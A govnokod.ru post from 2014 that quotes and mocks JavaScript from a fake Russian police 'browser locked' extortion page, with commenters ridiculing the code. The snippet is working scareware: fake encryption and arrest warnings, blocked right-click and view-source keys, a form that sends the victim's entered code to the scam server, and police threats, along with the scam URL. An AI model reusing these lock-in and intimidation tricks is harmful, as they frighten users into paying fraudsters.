1. JavaScript / Говнокод #16467

    +159

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    $(document).ready(function(){
      ...
      window.onbeforeunload = function(){
          if(submitclicked){
          var block = "ВАШ БРАУЗЕР ЗАБЛОКИРОВАН В ЦЕЛЯХ БЕЗОПАСНОСТИ. \n\nВСЯ ИНФОРМАЦИЯ НА ВАШЕМ КОМПЬЮТЕРЕ АРЕСТОВАНА. \n\nВСЕ ВАШИ ФАЙЛЫ ЗАШИФРОВАНЫ.";
                 block = new Array(45).join(block + "\n\n\n");
                        		return block;
          }
    };
                            
    });
    
    document.ondragstart = keyboard;
    document.onselectstart = keyboard;
    document.oncontextmenu = keyboard;
        
    function keyboard() {
            return false;
    }
    document.onkeydown = function(e) {
            e = e || window.event;
            if(e.keyCode == 85 | e.keyCode == 117) { return false; }
            return true;
    }
    
    var iii=3;
    var xmlmy;
     if (window.XMLHttpRequest)
        {// код для IE7+, Firefox, Chrome, Opera, Safari
           xmlmy=new XMLHttpRequest();
        }
        else
        {// код для IE6, IE5
           xmlmy=new ActiveXObject("Microsoft.XMLHTTP");
          }
     function Sendxxx(){
               xmlmy.open("GET","proverka.php?key="+document.all.data_1.value,true);
    	   xmlmy.send();
               if(iii>0){
                      alert('Код транзакции неверен до отправки данных в центральный отдел "К" осталось '+iii+' попытки');
                } else {
                       alert('Наряд полиции выехал по вашему адресу!!!');};
                       iii=iii-1;
    }

    http://mvd-russian.eu/reshenie/

    Запостил: Rez, 04 Августа 2014

    Комментарии (13) RSS

    • ...винлокер на JS?
      Ответить
    • > block = new Array(45).join(block + "\n\n\n");
      Блин, зачем повторять надпись 44 раза? Смотрится как-то по-мудацки.
      Ответить
      • почему 45 а не 42? может он хотел на 45 и 4-5 раз?)
        Ответить
        • 45 пустышек между которыми 44 копии block'а
          Ответить
          • Это официальный способ? По шаблону нельзя нагенерить, только массив пустоты? (пустота холодна)
            Ответить
            • В ES6 у строки будет свой метод умножения (String.prototype.repeat), а пока с пустотой короче всего выходит.
              Ответить
      • > Блин, зачем повторять надпись 44 раза? Смотрится как-то по-мудацки.
        Чтобы кнопка "ОК" была за границей экрана.
        Ответить
    • Вся информация арестована и имеет право хранить молчание.

      P.S. Какие-то не очень весёлые шутники.
      P.P.S. Нажимаю "разблокировать", не происходит ничего. Наверное, стоило включить жабоскрипт.
      Ответить
      • > P.P.S. Нажимаю "разблокировать", не происходит ничего. Наверное, стоило включить жабоскрипт.
        Так там же заблокированы все кнопки мыши, лол.
        Ответить
    • The requested URL /reshenie/proverka.php was not found on this server.
      Ответить

    Добавить комментарий